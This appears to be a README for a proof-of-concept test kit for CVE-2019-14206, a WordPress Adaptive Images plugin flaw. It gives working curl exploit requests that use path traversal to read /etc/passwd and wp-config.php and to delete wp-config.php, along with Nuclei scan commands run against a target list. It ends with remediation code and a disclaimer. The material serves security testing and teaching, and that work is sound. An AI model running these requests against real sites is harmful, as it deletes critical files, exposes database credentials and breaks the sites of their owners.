
CVE-ID: CVE-2019-14206
Severity: High (CVSS 6.5)
Affected Plugin: Adaptive Images for WordPress
Affected Versions: < 0.6.67
This vulnerability allows a remote unauthenticated attacker to delete arbitrary files on the WordPress server by exploiting the Adaptive Images plugin.
// The plugin uses user input WITHOUT sanitization
$settings = $_REQUEST['adaptive-images-settings'];
// Builds file path with attacker-controlled parameters
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;
// DELETES arbitrary file
unlink($cache_file);
# Check Nuclei
nuclei --version
# Check Bash
bash --version
# Check curl
curl --version
# Check PHP (optional)
php --version 2>/dev/null || echo "PHP not available (optional)"
# If in the nuclei-templates directory
cd /Volumes/Codingsh/experimentos/nuclei-templates
# Or download the necessary files
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates
# Check if the files exist
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh
Run the complete demo that simulates the entire exploitation:
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh
What happens:
Expected output:
[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
# If Docker is running
docker-compose up -d
# If Docker is NOT running, use the simulator
./docker-test-full.sh
# The environment will be available at
# http://localhost:8888
# Check if the vulnerable script exists
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php
# LFI Test
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# File Deletion Test
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# Check if wp-config.php has been deleted
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php
# Create target file
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF
# Basic scan
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt
# Detailed scan
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v
# Debug scan (MANDATORY for bounty)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug
# Save results
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt
# View results
cat results.txt
# Positive results will show:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888
# Try to read /etc/passwd
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# Try to read wp-config.php
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"
Expected result (LFI):
=== CVE-2019-14206 Vulnerability Test ===
[*] Settings received:
source_file = /etc/passwd
...
[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd
# Check if wp-config.php exists BEFORE
ls -la wp-config.php
# Run exploit
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# Check if wp-config.php has been deleted AFTER
ls -la wp-config.php
Expected result (File Deletion):
[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php
[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php
Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible
[N/A] No results found
# Remove Docker environment
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
docker-compose down -v 2>/dev/null
# Remove test files
rm -rf docker-test/
rm -f targets.txt results.txt
# Restore wp-config.php if it was deleted
cat > wp-config.php << 'EOF'
<?php
// Restored file
define('DB_NAME', 'wordpress');
EOF
# Remove scan results
rm -f results.txt
# Clear cache (optional)
nuclei -rm-cache
# Install Nuclei
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Or download binary
wget https://github.com/projectdiscovery/nuclei/releases/download/v3.0.0/nuclei-linux-amd64.zip
unzip nuclei-linux-amd64.zip
chmod +x nuclei
sudo mv nuclei /usr/local/bin/
# Check if file exists
ls -la http/cves/2019/CVE-2019-14206.yaml
# Check YAML syntax
python3 -c "import yaml; yaml.safe_load(open('http/cves/2019/CVE-2019-14206.yaml'))"
# Use absolute path
nuclei -t /Volumes/Codingsh/experimentos/nuclei-templates/http/cves/2019/CVE-2019-14206.yaml -u http://target
# Check port
lsof -i :8888
# Use a different port
php -S localhost:9999
# Check PHP installed
which php
php --version
# Check Docker status
docker ps
# Start Docker
# On macOS: Open Docker Desktop
# On Linux: sudo systemctl start docker
# Use simulator mode (works without Docker)
./docker-test-full.sh
Update Plugin:
WordPress Dashboard > Plugins > Update Adaptive Images
Safe Version: >= 0.6.67
Remove Vulnerable Plugin:
rm -rf wp-content/plugins/adaptive-images/
// ✅ SECURE CODE (Example fix)
function adaptive_images_script_get_settings() {
// Sanitize input
$allowed_keys = ['cache_dir', 'resolution', 'request_uri'];
$settings = [];
foreach ($allowed_keys as $key) {
if (isset($_REQUEST['adaptive-images-settings'][$key])) {
$settings[$key] = sanitize_text_field($_REQUEST['adaptive-images-settings'][$key]);
}
}
return $settings;
}
function adaptive_images_delete_stale_cache_image($source_file, $cache_file, $resolution) {
// Validate paths
$allowed_cache_dirs = ['ai-cache', 'adaptive-cache'];
$cache_dir = basename(dirname($cache_file));
if (!in_array($cache_dir, $allowed_cache_dirs)) {
return false; // Reject invalid paths
}
// Use validated absolute paths
$cache_file = WP_CONTENT_DIR . '/ai-cache/' . basename($cache_file);
if (file_exists($cache_file)) {
unlink($cache_file);
}
}
This material is provided exclusively for educational and security testing purposes.
The author and contributors are NOT responsible for any:
If you find this vulnerability in real systems:
This project demonstrates:
Contributions are welcome! To contribute:
git checkout -b feature/improvement)git commit -am 'Add improvement')git push origin feature/improvement)For questions or issues:
🎉 Thank you for using this testing material!
Remember: With great power comes great responsibility. Use this knowledge to make the internet more secure, not more vulnerable.
Created: January 4, 2026
Version: 1.0.0
Status: ✅ Ready for production use